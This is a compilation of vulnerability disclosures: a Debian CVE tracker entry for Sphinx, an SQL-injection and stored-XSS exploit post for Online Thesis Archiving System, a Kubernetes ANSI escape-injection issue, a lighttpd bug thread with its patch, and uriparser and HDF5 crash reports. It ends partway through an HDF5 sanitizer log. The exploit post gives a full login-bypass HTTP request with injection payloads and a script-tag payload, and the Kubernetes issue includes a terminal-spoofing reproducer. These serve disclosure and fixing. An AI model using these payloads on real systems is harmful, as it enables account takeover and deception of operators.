SphinxSearch in Sphinx Technologies Sphinx through 3.1.1 allows directory traversal (in conjunction with CVE-2019-14511) because the mysql client can be used for CALL SNIPPETS and load_file operations on a full pathname (e.g., a file in the /etc directory). NOTE: this is unrelated to CMUSphinx.

**Name**

CVE-2020-29050

**Description**

SphinxSearch in Sphinx Technologies Sphinx through 3.1.1 allows direct ...

**Source**

CVE (at NVD; CERT, LWN, oss-sec, fulldisc, bugtraq, EDB, Metasploit, Red Hat, Ubuntu, Gentoo, SUSE bugzilla/CVE, Mageia, GitHub code/issues, web search, more)

**References**

DSA-5036-1

**Vulnerable and fixed packages**

The table below lists information on source packages.

Source Package

Release

Version

Status

sphinxsearch (PTS)

stretch

2.2.11-1.1

vulnerable

buster

2.2.11-2

vulnerable

buster (security)

2.2.11-2+deb10u1

fixed

bookworm, sid

2.2.11-8

fixed

The information below is based on the following data on fixed versions.

Package

Type

Release

Fixed Version

Urgency

Origin

Debian Bugs

sphinxsearch

source

buster

2.2.11-2+deb10u1

DSA-5036-1

sphinxsearch

source

(unstable)

2.2.11-3

**Notes**

Backported for sphinxsearch from: https://github.com/manticoresoftware/manticoresearch/commit/66b5761ad258c60b1866a8e1333f86e74f48035  
and https://github.com/manticoresoftware/manticoresearch/commit/6e597ff61e1e910559f6ed541ff32520085af6aa  
Backported patch: https://salsa.debian.org/debian/sphinxsearch/-/blob/4d6fe40644130308604845db43d3588e715ec85d/debian/patches/06-CVE-2020-29050.patch

CVE-2020-29050: CVE-2020-29050

Sourcecodester Online Thesis Archiving System 1.0 is vulnerable to SQL Injection. An attacker can bypass admin authentication and gain access to admin panel using SQL Injection

    # Exploit Title: Online Thesis Archiving System 1.0 - SQLi Authentication Bypass & Stored (XSS)# Exploit Author: Yehia Elghaly (YME)# Vendor Homepage: https://www.sourcecodester.com/# Software Link: https://www.sourcecodester.com/php/15083/online-thesis-archiving-system-using-phpoop-free-source-code.html# Version: Online Thesis Archiving System 1.0# Tested on: Windows, xampp# CVE: N/A- Description:SQLi Authentication BypassSQL Injection vulnerability exists in Online Thesis Archiving System 1.0 1.0. An admin account takeover exists with the payload: admin' # -  admin' or '1'='1PoC:POST /otas/admin/login.php HTTP/1.1Host: 192.168.113.130User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 35Origin: http://192.168.113.130DNT: 1Connection: closeReferer: http://192.168.113.130/otas/admin/login.phpCookie: PHPSESSID=0jsudph494kpt2a5jvbvdvsrscUpgrade-Insecure-Requests: 1username=admin' #&password=admin' #- Description: Stored Cross Site Scripting (XSS)Stored Cross Site Scripting (XSS) exists in Online Thesis Archiving System 1.0. Steps: 1- Go to (http://localhost/otas/admin/?page=departments) and (http://localhost/otas/admin/?page=curriculum)2- Add new (curriculum) or (department) 3- Insert your payload <script>("xssyf")</script>

CVE-2021-45334: Online Thesis Archiving System 1.0 SQL Injection

kubectl does not neutralize escape, meta or control sequences contained in the raw data it outputs to a terminal. This includes but is not limited to the unstructured string fields in objects such as Events.

It is a security issue, but after contacting security@kubernetes.io, Tim and the team confirmed that they are comfortable posting it publicly.

**What happened:**

Kubernetes doesn't sanitize the 'message' field in the Event JSON objects.  
Notice that this is relevant only to JSON objects, not YAML objects.  
By creating new event, we can insert ANSI escape characters inside the "message" field, like:

    "\u001b[2J\u001b[3J\u001b[1;1H\u001b[m spoofed \u001b[60C\u001b[1;0m. Done"
    

This an example of such JSON request:

    {
        "apiVersion": "v1",
        "involvedObject": {
            "kind": "Node",
            "name": "node01",
            "uid": "node01"
        },
        "kind": "Event",
        "message": "\u001b[2J\u001b[3J\u001b[1;1H\u001b[m spoofed \u001b[60C\u001b[1;0m. Done",
        "metadata": {
            "name": "spoofEvent",
            "namespace": "default"
        },
        "source": {
            "component": "kubelet",
            "host": "node01"
        },
        "type": "Normal"
    }
    

The codes:  
`\u001b[2J` -> Clean the screen and history  
`\u001b[3J` -> Clean the entire screen and delete all lines saved in the scrollback buffer  
`\u001b[1;1H` -> Moves the cursor position to row 1, column 1 (beginning).  
`\u001b[m` -> Set the colors  
`\u001b[60C` -> Move the cursor forward 60 steps  
`\u001b[1;1m` -> Set the text colors to white

The result is that the text was spoofed, and we could spoof the events, create hidden events, or hide other events.

**What you expected to happen:**

The ANSI escape characters will be filtered so they couldn't affect the terminal (i.e. using embeded ANSI colors won't do anything to the terminal).  
Or maybe some message that says that you can't use ANSI escape characters.

**How to reproduce it (as minimally and precisely as possible):**

1.  Run this code:

    
    kubectl create -f - <<EOF
    {
        "apiVersion": "v1",
        "involvedObject": {
            "kind": "Node",
            "name": "node01",
            "uid": "node01"
        },
        "kind": "Event",
        "message": "\u001b[2J\u001b[3J\u001b[1;1H\u001b[m spoofed \u001b[60C\u001b[1;0m. Done",
        "metadata": {
            "name": "spoofEvent",
            "namespace": "default"
        },
        "source": {
            "component": "kubelet",
            "host": "node01"
        },
        "type": "Normal"
    }
    EOF
    

It will create a new event.

2.  Run `kubectl get events`, you will see that the screen was clear, you will get a "spoof" message, and all the rest events or columns were gone.

**Anything else we need to know?:**

It might look like a low severity issue, but there are other variety of things we can do, from DoS by using colors to hide all the events, changing the title of the terminal window, and spoof the data.

It can affect other systems that are using Kubernetes events, such as monitoring applications. It doesn't have to be only the Kubernetes events. There might be other vulnerable objects that we didn't find or other systems that create new objects that count on this mechanism.

ANSI escape characters were used to abuse terminals emulators and even cause code execution if the terminal is vulnerable (like CVE-2003-0069).

**Environment:**

*   Kubernetes version (use `kubectl version`):

    Client Version: version.Info{Major:"1", Minor:"20", GitVersion:"v1.20.4", GitCommit:"e87da0bd6e03ec3fea7933c4b5263d151aafd07c", GitTreeState:"clean", BuildDate:"2021-02-18T16:12:00Z", GoVersion:"go1.15.8", Compiler:"gc", Platform:"linux/amd64"}
    Server Version: version.Info{Major:"1", Minor:"20", GitVersion:"v1.20.2", GitCommit:"faecb196815e248d3ecfb03c680a4507229c2a56", GitTreeState:"clean", BuildDate:"2021-01-13T13:20:00Z", GoVersion:"go1.15.5", Compiler:"gc", Platform:"linux/amd64"}
    

*   Cloud provider or hardware configuration:
*   OS (e.g: `cat /etc/os-release`):

    NAME="Ubuntu"
    VERSION="16.04.7 LTS (Xenial Xerus)"
    ID=ubuntu
    ID_LIKE=debian
    PRETTY_NAME="Ubuntu 16.04.7 LTS"
    VERSION_ID="16.04"
    HOME_URL="http://www.ubuntu.com/"
    SUPPORT_URL="http://help.ubuntu.com/"
    BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
    VERSION_CODENAME=xenial
    UBUNTU_CODENAME=xenial
    

*   Kernel (e.g. `uname -a`):

    Linux manager1 4.15.0-140-generic #144~16.04.1-Ubuntu SMP Fri Mar 19 21:24:12 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
    

*   Install tools: minikube

    minikube version: v1.19.0
    commit: 15cede53bdc5fe242228853e737333b09d4336b5
    

*   Network plugin and version (if this is a network-related bug):
*   Others: we also reproduced it in Kubernetes (not minikube) version 1.18

CVE-2021-25743: ANSI escape characters in kubectl output are not being filtered · Issue #101695 · kubernetes/kubernetes

In lighttpd 1.4.46 through 1.4.63, the mod_extforward_Forwarded function of the mod_extforward plugin has a stack-based buffer overflow (4 bytes), as demonstrated by remote denial of service (daemon crash).

I uploaded the exp by mistake, please delete it in time

*   **File** deleted (_exp.py_)

*   **Subject** changed from _Security - lighttpd mod\_extforward plugin has stack overflow vulnerability_ to _lighttpd mod\_extforward plugin has out-of-bounds (OOB) write of 4-byte -1_
*   **Description** updated (diff)
*   **Status** changed from _New_ to _Patch Pending_
*   **Target version** changed from _1.4.xx_ to _1.4.64_

You are correct that there is an out-of-bounds write on the stack.  
However, this out-of-bounds write is not controlled by the attacker.  
The value that is written out-of-bounds after the end of offsets\[\] is -1

However, with the default lighttpd build with `gcc -O2`, I was unable to  
trigger a crash in lighttpd on amd64 (64-bit) or on i686 (32-bit).

As with your prior posts, I think your test toolchain is configured  
with a stack canary which crashes when an out-of-bounds read or write  
is detected, which is fine for your research, but not necessarily a  
reflection of real-world impact. When mod\_extforward.c is compiled with  
`-fstack-protector-all -fstack-protector-strong`, I was able to trigger  
a crash in lighttpd on i686 (32-bit), but not amd64 (64-bit), using the  
reproducer (exp.py) you had provided.

Also, the scenario in which this occurs is not enabled by default in lighttpd.

*   First, the user must be using mod\_extforward. (not default)
*   Second, the user must explicitly configure `extforward.headers`  
    to contain "Forwarded" (not default)
*   Third, the user must have configured mod\_extforward to trust the  
    upstream proxy server which proxied the request to lighttpd,  
    and from which lighttpd is receiving the "Forwarded" header.  
    This upstream proxy must allow and use this unusual "Forwarded"  
    header.

Your statement that this issue affects lighttpd 1.4.41-1.4.63 is incorrect.  
Support for the "Forwarded" header was added in lighttpd 1.4.46.  
https://redmine.lighttpd.net/issues/2703  
I have updated your original post.

Given this initial assessment (not yet complete), I have changed the  
the wording of this issue to tone it down from vulnerability to OOB write.  
There is a bug that will be fixed, but unless further information comes to  
light, this does not appear to have security implications for default usage  
of lighttpd. Please help me determine in which scenarios and platforms  
this might have an impact.

*   **Subject** changed from _lighttpd mod\_extforward plugin has out-of-bounds (OOB) write of 4-byte -1_ to _mod\_extforward plugin has out-of-bounds (OOB) write of 4-byte -1_

gstrauss wrote in #note-3:

> You are correct that there is an out-of-bounds write on the stack.  
> However, this out-of-bounds write is not controlled by the attacker.  
> The value that is written out-of-bounds after the end of offsets\[\] is -1
> 
> However, with the default lighttpd build with `gcc -O2`, I was unable to  
> trigger a crash in lighttpd on amd64 (64-bit) or on i686 (32-bit).
> 
> As with your prior posts, I think your test toolchain is configured  
> with a stack canary which crashes when an out-of-bounds read or write  
> is detected, which is fine for your research, but not necessarily a  
> reflection of real-world impact. When mod\_extforward.c is compiled with  
> `-fstack-protector-all -fstack-protector-strong`, I was able to trigger  
> a crash in lighttpd on i686 (32-bit), but not amd64 (64-bit), using the  
> reproducer (exp.py) you had provided.
> 
> Also, the scenario in which this occurs is not enabled by default in lighttpd.
> 
> *   First, the user must be using mod\_extforward. (not default)
> *   Second, the user must explicitly configure `extforward.headers`  
>     to contain "Forwarded" (not default)
> *   Third, the user must have configured mod\_extforward to trust the  
>     upstream proxy server which proxied the request to lighttpd,  
>     and from which lighttpd is receiving the "Forwarded" header.  
>     This upstream proxy must allow and use this unusual "Forwarded"  
>     header.
> 
> Your statement that this issue affects lighttpd 1.4.41-1.4.63 is incorrect.  
> Support for the "Forwarded" header was added in lighttpd 1.4.46.  
> https://redmine.lighttpd.net/issues/2703  
> I have updated your original post.
> 
> Given this initial assessment (not yet complete), I have changed the  
> the wording of this issue to tone it down from vulnerability to OOB write.  
> There is a bug that will be fixed, but unless further information comes to  
> light, this does not appear to have security implications for default usage  
> of lighttpd. Please help me determine in which scenarios and platforms  
> this might have an impact.

I'm using the ubuntu 20.04 default configuration, where canary is turned on by default

povcfe-bug wrote in #note-5:

> gstrauss wrote in #note-3:
> 
> > You are correct that there is an out-of-bounds write on the stack.  
> > However, this out-of-bounds write is not controlled by the attacker.  
> > The value that is written out-of-bounds after the end of offsets\[\] is -1
> > 
> > However, with the default lighttpd build with `gcc -O2`, I was unable to  
> > trigger a crash in lighttpd on amd64 (64-bit) or on i686 (32-bit).
> > 
> > As with your prior posts, I think your test toolchain is configured  
> > with a stack canary which crashes when an out-of-bounds read or write  
> > is detected, which is fine for your research, but not necessarily a  
> > reflection of real-world impact. When mod\_extforward.c is compiled with  
> > `-fstack-protector-all -fstack-protector-strong`, I was able to trigger  
> > a crash in lighttpd on i686 (32-bit), but not amd64 (64-bit), using the  
> > reproducer (exp.py) you had provided.
> > 
> > Also, the scenario in which this occurs is not enabled by default in lighttpd.
> > 
> > *   First, the user must be using mod\_extforward. (not default)
> > *   Second, the user must explicitly configure `extforward.headers`  
> >     to contain "Forwarded" (not default)
> > *   Third, the user must have configured mod\_extforward to trust the  
> >     upstream proxy server which proxied the request to lighttpd,  
> >     and from which lighttpd is receiving the "Forwarded" header.  
> >     This upstream proxy must allow and use this unusual "Forwarded"  
> >     header.
> > 
> > Your statement that this issue affects lighttpd 1.4.41-1.4.63 is incorrect.  
> > Support for the "Forwarded" header was added in lighttpd 1.4.46.  
> > https://redmine.lighttpd.net/issues/2703  
> > I have updated your original post.
> > 
> > Given this initial assessment (not yet complete), I have changed the  
> > the wording of this issue to tone it down from vulnerability to OOB write.  
> > There is a bug that will be fixed, but unless further information comes to  
> > light, this does not appear to have security implications for default usage  
> > of lighttpd. Please help me determine in which scenarios and platforms  
> > this might have an impact.
> 
> I'm using the ubuntu 20.04 default configuration, where canary is turned on by default

The reason why 64-bit programs can't crash is that sse 16-bit alignment, when closing intel sse, 64-bit programs will also crash, so please make sure that mips, arm and other architecture programs will not trigger a crash.

So compiling 32-bit lighttpd within an operating system with a higher gcc version, or compiling and using lighttpd with an architecture that does not support sse 16-bit byte alignment, will result in a denial of service

gstrauss wrote in #note-8:

> > So compiling 32-bit lighttpd within an operating system with a higher gcc version, or compiling and using lighttpd with an architecture that does not support sse 16-bit byte alignment, will result in a denial of service
> 
> You seem to be overlooking the prerequisites to reaching the bug. Case in point, I wrote:
> 
> > > *   Third, the user must have configured mod\_extforward to trust the  
> > >     upstream proxy server which proxied the request to lighttpd,  
> > >     and from which lighttpd is receiving the "Forwarded" header.  
> > >     This upstream proxy must allow and use this unusual "Forwarded"  
> > >     header.
> 
> For someone to want to configure lighttpd this way, they must be using a proxy which supports "Forwarded". Do you know of real-world use in popular CDNs? Most CDNs and cloud providers have their own custom fields for X-Forwarded-For.
> 
> I took a quick look and Cloudflare does not currently support Forwarded.  
> https://community.cloudflare.com/t/support-for-http-forwarded-header-as-a-replacement-for-x-forwarded-for/320943  
> Nor does HAProxy (where the HAProxy "PROXY" protocol is often preferred)  
> https://github.com/haproxy/haproxy/issues/575
> 
> I did find that "Forwarded" is implemented in  
> https://microsoft.github.io/reverse-proxy/articles/transforms.html#forwarded  
> though a developer noted it is not enabled by default  
> (https://github.com/dotnet/aspnetcore/issues/5978#issuecomment-668013246)  
> and "Forwarded" is implemented in  
> https://github.com/gorilla/handlers/blob/master/proxy\_headers.go
> 
> Please keep in mind that my questions here and above are to help gauge potential impact of the bug.
> 
> Thus far, based on what I have posted here and above, I am confident that the bug is not reachable in **common** use scenarios of lighttpd mod\_extforward.

I noticed that "https://redmine.lighttpd.net/projects/lighttpd/wiki/Docs\_ModExtForward" mentions a custom setting for "Forwarded", which is not really the default configuration, but I mean that for users with such a configuration, remote denial of service is possible.

*   **File** header.png header.png added

![](https://redmine.lighttpd.net/attachments/thumbnail/2160)

![](https://redmine.lighttpd.net/attachments/download/2160/header.png)

This is a bug and the bug has been acknowledged. I am not sure what your posts are trying to say beyond that.

My posts have repeatedly stated that I am trying to gauge the potential impact, and thus far the potential impact in the real world appears to be very low.

gstrauss wrote in #note-11:

> This is a bug and the bug has been acknowledged. I am not sure what your posts are trying to say beyond that.
> 
> My posts have repeatedly stated that I am trying to gauge the potential impact, and thus far the potential impact in the real world appears to be very low.

I agree with you in the comment above that he will not be triggered by default

gstrauss wrote in #note-11:

> This is a bug and the bug has been acknowledged. I am not sure what your posts are trying to say beyond that.
> 
> My posts have repeatedly stated that I am trying to gauge the potential impact, and thus far the potential impact in the real world appears to be very low.

I hope you will listen to me carefully, you said he will not be triggered by default, I agree. Also you said that canary must be turned on to trigger a crash, I told you that canary is turned on by default in higher versions of gcc, and that crashes are possible for system architectures that do not have SSE turned on.

povcfe-bug wrote in #note-12:

> gstrauss wrote in #note-11:
> 
> > This is a bug and the bug has been acknowledged. I am not sure what your posts are trying to say beyond that.
> > 
> > My posts have repeatedly stated that I am trying to gauge the potential impact, and thus far the potential impact in the real world appears to be very low.
> 
> I agree with you in the comment above that he will not be triggered by default

Please respect contributors who find problems and submit patches

> Please respect contributors who find problems and submit patches

I appreciate that you have taken the time to find this and to post it so that it can be fixed. Thank you.

Above, I wrote:

> > This is a bug and the bug has been acknowledged. I am not sure what your posts are trying to say beyond that.
> > 
> > My posts have repeatedly stated that I am trying to gauge the potential impact, and thus far the potential impact in the real world appears to be very low.

Please help me to understand why you feel disrespected by these grounded statements. Impact analysis is an important part of bug and security triage.

gstrauss wrote in #note-15:

> > Please respect contributors who find problems and submit patches
> 
> I appreciate that you have taken the time to find this and to post it so that it can be fixed. Thank you.
> 
> Above, I wrote:
> 
> > > This is a bug and the bug has been acknowledged. I am not sure what your posts are trying to say beyond that.
> > > 
> > > My posts have repeatedly stated that I am trying to gauge the potential impact, and thus far the potential impact in the real world appears to be very low.
> 
> Please help me to understand why you feel disrespected by these grounded statements. Impact analysis is an important part of bug and security triage.

I don't think you've just listened carefully to my analysis, and there are differences between our two concerns. Impact exclusion is indeed a very important aspect, and I agree with your analysis above

> > This is a bug and the bug has been acknowledged. I am not sure what your posts are trying to say beyond that.

> I don't think you've just listened carefully to my analysis, and there are differences between our two concerns.

Would you please describe your concerns in more detail?

Your post is less than 5 hours old and I have spent a considerable amount of time reviewing, reproducing, and analyzing the potential impact, and have tried to be explicit in my posts that these are the steps I am taking. If you feel that I am giving it short thrift, then please describe your expectations in more detail.

gstrauss wrote in #note-17:

> > > This is a bug and the bug has been acknowledged. I am not sure what your posts are trying to say beyond that.
> 
> > I don't think you've just listened carefully to my analysis, and there are differences between our two concerns.
> 
> Would you please describe your concerns in more detail?
> 
> Your post is less than 5 hours old and I have spent a considerable amount of time reviewing, reproducing, and analyzing the potential impact, and have tried to be explicit in my posts that these are the steps I am taking. If you feel that I am giving it short thrift, then please describe your expectations in more detail.

Sorry, my narrative above was just to show you that users using this non-default configuration can trigger crashes with the default compile option. I appreciate your work, and your attention to this issue, and I apologize.

Yes, for systems and distros which enable the canary by default, and if the prerequisites to reach the bug are met, then the bug will trigger a crash.

Please attach a patch (e.g. output from `git format-patch`) with the patch in your original post and how you'd like to be credited. The patch looks good, and I'll need to edit the commit message a bit, but will try to preserve what you'd like to include.

It's late here and I'll return to this tomorrow.

I have applied for a cve id, please trace

You did not include a commit message in the attachment. Please see the lighttpd git history for how I credit contributors and let me know if you would like any different.

> I have applied for a cve id, please trace

What do you mean by "please trace"? Is that an incomplete sentence?

I have a feeling that you are disappointed that my analysis indicates that this bug is low severity, as its prevalence in production is likely to be rare and specialized. Even when the bug is reachable, I do not believe it exploitable beyond triggering a crash. I will dispute the CVE if you represent the bug otherwise.

gstrauss wrote in #note-22:

> You did not include a commit message in the attachment. Please see the lighttpd git history for how I credit contributors and let me know if you would like any different.
> 
> > I have applied for a cve id, please trace
> 
> What do you mean by "please trace"? Is that an incomplete sentence?
> 
> I have a feeling that you are disappointed that my analysis indicates that this bug is low severity, as its prevalence in production is likely to be rare and specialized. Even when the bug is reachable, I do not believe it exploitable beyond triggering a crash. I will dispute the CVE if you represent the bug otherwise.

I applied for cve with a remote denial of service error type, which I think is reasonable, emm. I would like to know if you agree.

this is the new patch  

    From 8a91fd45f7f31707a876492b13c0f46845626727 Mon Sep 17 00:00:00 2001
    From: povcfe <povcfe@qq.com>
    Date: Wed, 5 Jan 2022 12:44:34 +0000
    Subject: [PATCH] [mod_extforward] fix out-of-bounds (OOB) write of 4-byte -1
    
    (thx povcfe)
    ---
     src/mod_extforward.c | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/src/mod_extforward.c b/src/mod_extforward.c
    index 733231fd..8dbdfad9 100644
    --- a/src/mod_extforward.c
    +++ b/src/mod_extforward.c
    @@ -715,7 +715,7 @@ static handler_t mod_extforward_Forwarded (request_st * const r, plugin_data * c
             while (s[i] == ' ' || s[i] == '\t') ++i;
             if (s[i] == ';') { ++i; continue; }
             if (s[i] == ',') {
    -            if (j >= (int)(sizeof(offsets)/sizeof(int))) break;
    +            if (j >= (int)((sizeof(offsets)/sizeof(int)) - 1)) break;
                 offsets[++j] = -1; /*("offset" separating params from next proxy)*/
                 ++i;
                 continue;
    --
    2.25.1

CVE-2022-22707: Bug #3134: mod_extforward plugin has out-of-bounds (OOB) write of 4-byte -1 - Lighttpd

An issue was discovered in uriparser before 0.9.6. It performs invalid free operations in uriFreeUriMembers and uriMakeOwner.

A bug was found within the uriparser. Though it might not be an intended use of the relevant API, the bug can still produce critical issues within a program using uriparser. It would be best if the affected logic is checked beforehand.  
The bug was found with a fuzzer based on the test-code"TestNormalizeSyntaxMaskRequired"

\__crash log_

    ==2151==ERROR: AddressSanitizer: SEGV on unknown address 0x0000004d9be0 (pc 0x00000041ca94 bp 0x000000000000 sp 0x7fff34437d00 T0)
    ==2151==The signal is caused by a WRITE memory access.
        #0 0x41ca94 in __asan::Allocator::Deallocate(void*, unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType)
        #1 0x493d41 in free 
        #2 0x4c6892 in (anonymous namespace)::countingFree(UriMemoryManagerStruct*, void*)
        #3 0x7fca1c05a4b2 in uriNormalizeSyntaxExMmA_ 
    

Steps to reproduce:

1.  git clone https://github.com/uriparser/uriparser.git
2.  cd uriparser & mkdir build & cd build
3.  Build  
    cmake -DCMAKE\_BUILD\_TYPE=Release -DURIPARSER\_BUILD\_DOCS:BOOL=OFF -DBUILD\_SHARED\_LIBS:BOOL=ON ..  
    make -j8
4.  Download the attached file(1.cpp)
5.  Build TEST CODE (1.cpp)  
    clang++ -g -fsanitize=address,fuzzer-no-link -o 1 1.cpp -I uriparser/include/ -Luriparser/build -luriparser
6.  Run  
    LD\_LIBRARY\_PATH=uriparser/build/ ./1

OS:ubuntu 18.04  
uriparser\_poc1.tar.gz

CVE-2021-46141: .hostText memory is not properly duped/freed in uriNormalizeSyntax*, uriMakeOwner*, uriFreeUriMembers* for some URIs · Issue #121 · uriparser/uriparser

An issue was discovered in uriparser before 0.9.6. It performs invalid free operations in uriNormalizeSyntax.

A bug was found within the uriparser. Though it might not be an intended use of the relevant API, the bug can still produce critical issues within a program using uriparser. It would be best if the affected logic is checked beforehand.  
The bug was found with a fuzzer based on the test-code"NormalizeSyntaxExMm"

\__crash log_

    ==3440==ERROR: AddressSanitizer: SEGV on unknown address 0x0000004d9be0 (pc 0x00000041ca94 bp 0x000000000000 sp 0x7ffd2468e6e0 T0)
    ==3440==The signal is caused by a WRITE memory access.
        #0 0x41ca94 in __asan::Allocator::Deallocate(void*, unsigned long, unsigned long, __sanitizer::BufferedStackTrace*, __asan::AllocType)
        #1 0x493d41 in free 
        #2 0x4c6892 in (anonymous namespace)::countingFree(UriMemoryManagerStruct*, void*) 
        #3 0x7faf2e1ac4b2 in uriNormalizeSyntaxExMmA_ 
    

Steps to reproduce:

1.  git clone https://github.com/uriparser/uriparser.git
2.  cd uriparser & mkdir build & cd build
3.  Build  
    cmake -DCMAKE\_BUILD\_TYPE=Release -DURIPARSER\_BUILD\_DOCS:BOOL=OFF -DBUILD\_SHARED\_LIBS:BOOL=ON ..  
    make -j8
4.  Download the attached file(2.cpp)
5.  Build TEST CODE (2.cpp)  
    clang++ -g -fsanitize=address,fuzzer-no-link -o 2 2.cpp -I uriparser/include/ -I uriparser/ -Luriparser/build -luriparser
6.  Run  
    LD\_LIBRARY\_PATH=uriparser/build/ ./2

OS:ubuntu 18.04  
uriparser\_poc2.tar.gz

CVE-2021-46142: uriNormalizeSyntax* may free stack memory in out-of-memory situation when handling URIs containing empty segments · Issue #122 · uriparser/uriparser

A Stack-based Buffer Overflow Vulnerability exists in HDF5 1.13.1-1 via the H5D__create_chunk_file_map_hyper function in /hdf5/src/H5Dchunk.c, which causes a Denial of Service (context-dependent).

**Version:**

**System information**

    Ubuntu 20.04.1 LTS, gcc version 9.3.0 (Ubuntu 9.3.0-17ubuntu1~20.04)
    

**command:**

POC3.zip

**ASAN information**

    ================================================================
    ==3192859==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc401ba928 at pc 0x5582bd69885b bp 0x7ffc401b8720 sp 0x7ffc401b8710
    READ of size 8 at 0x7ffc401ba928 thread T0
        #0 0x5582bd69885a in H5D__create_chunk_file_map_hyper /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Dchunk.c:1927
        #1 0x5582bd69885a in H5D__chunk_io_init_selections /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Dchunk.c:1250
        #2 0x5582bd69885a in H5D__chunk_io_init /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Dchunk.c:1129
        #3 0x5582bd14a71e in H5D__read /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Dio.c:250
        #4 0x5582bd60459a in H5VL__native_dataset_read /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5VLnative_dataset.c:293
        #5 0x5582bd5d6442 in H5VL__dataset_read /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5VLcallback.c:2045
        #6 0x5582bd5d6442 in H5VL_dataset_read /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5VLcallback.c:2077
        #7 0x5582bd11da4d in H5D__read_api_common /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5D.c:968
        #8 0x5582bd11da4d in H5Dread /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5D.c:1020
        #9 0x5582bd04b454 in h5tools_dump_simple_dset /home/zxq/CVE_testing/source/hdf5-add/hdf5/tools/lib/h5tools_dump.c:1755
        #10 0x5582bd04b454 in h5tools_dump_dset /home/zxq/CVE_testing/source/hdf5-add/hdf5/tools/lib/h5tools_dump.c:1956
        #11 0x5582bd05fa5f in h5tools_dump_data /home/zxq/CVE_testing/source/hdf5-add/hdf5/tools/lib/h5tools_dump.c:4425
        #12 0x5582bd01bb3c in dump_dataset /home/zxq/CVE_testing/source/hdf5-add/hdf5/tools/src/h5dump/h5dump_ddl.c:1046
        #13 0x5582bd0245c1 in dump_all_cb /home/zxq/CVE_testing/source/hdf5-add/hdf5/tools/src/h5dump/h5dump_ddl.c:350
        #14 0x5582bd23d995 in H5G__iterate_cb /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Gint.c:866
        #15 0x5582bd23d995 in H5G__iterate_cb /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Gint.c:839
        #16 0x5582bd24e3ec in H5G__node_iterate /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Gnode.c:967
        #17 0x5582bd67e5a3 in H5B__iterate_helper /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5B.c:1152
        #18 0x5582bd681cca in H5B_iterate /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5B.c:1194
        #19 0x5582bd25b699 in H5G__stab_iterate /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Gstab.c:536
        #20 0x5582bd255216 in H5G__obj_iterate /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Gobj.c:672
        #21 0x5582bd24061c in H5G_iterate /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Gint.c:922
        #22 0x5582bd2dc94f in H5L_iterate /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Lint.c:2243
        #23 0x5582bd610f3e in H5VL__native_link_specific /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5VLnative_link.c:366
        #24 0x5582bd5e75fe in H5VL__link_specific /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5VLcallback.c:5305
        #25 0x5582bd5e75fe in H5VL_link_specific /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5VLcallback.c:5339
        #26 0x5582bd2cec7f in H5L__iterate_api_common /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5L.c:1659
        #27 0x5582bd2cec7f in H5Literate2 /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5L.c:1695
        #28 0x5582bd01acc1 in link_iteration /home/zxq/CVE_testing/source/hdf5-add/hdf5/tools/src/h5dump/h5dump_ddl.c:614
        #29 0x5582bd01acc1 in dump_group /home/zxq/CVE_testing/source/hdf5-add/hdf5/tools/src/h5dump/h5dump_ddl.c:886
        #30 0x5582bd00f1e0 in main /home/zxq/CVE_testing/source/hdf5-add/hdf5/tools/src/h5dump/h5dump.c:1547
        #31 0x7ff7f59ae0b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
        #32 0x5582bd01520d in _start (/home/zxq/CVE_testing/source/hdf5-add/hdf5/build/bin/h5dump+0x17c20d)
    
    Address 0x7ffc401ba928 is located in stack of thread T0 at offset 8472 in frame
        #0 0x5582bd691fbf in H5D__chunk_io_init /home/zxq/CVE_testing/source/hdf5-add/hdf5/src/H5Dchunk.c:1071
    
      This frame has 35 object(s):
        [32, 33) 'bogus' (line 1166)
        [48, 56) 'udata' (line 1256)
        [80, 88) 'tmp_fchunk' (line 1809)
        [112, 120) 'chunk_points' (line 2151)
        [144, 152) 'tmp_count' (line 2152)
        [176, 200) 'iter_op' (line 1255)
        [240, 264) 'iter_op' (line 1297)
        [304, 336) 'is_partial_dim' (line 1615)
        [368, 624) 'file_dims' (line 1605)
        [688, 944) 'zeros' (line 1607)
        [1008, 1264) 'coords' (line 1609)
        [1328, 1584) 'end' (line 1610)
        [1648, 1904) 'scaled' (line 1611)
        [1968, 2224) 'curr_partial_clip' (line 1613)
        [2288, 2544) 'partial_dim_size' (line 1614)
        [2608, 2864) 'start_scaled' (line 1817)
        [2928, 3184) 'scaled' (line 1818)
        [3248, 3504) 'file_sel_start' (line 1987)
        [3568, 3824) 'file_sel_end' (line 1988)
        [3888, 4144) 'mem_sel_start' (line 1989)
        [4208, 4464) 'mem_sel_end' (line 1990)
        [4528, 4784) 'adjust' (line 1991)
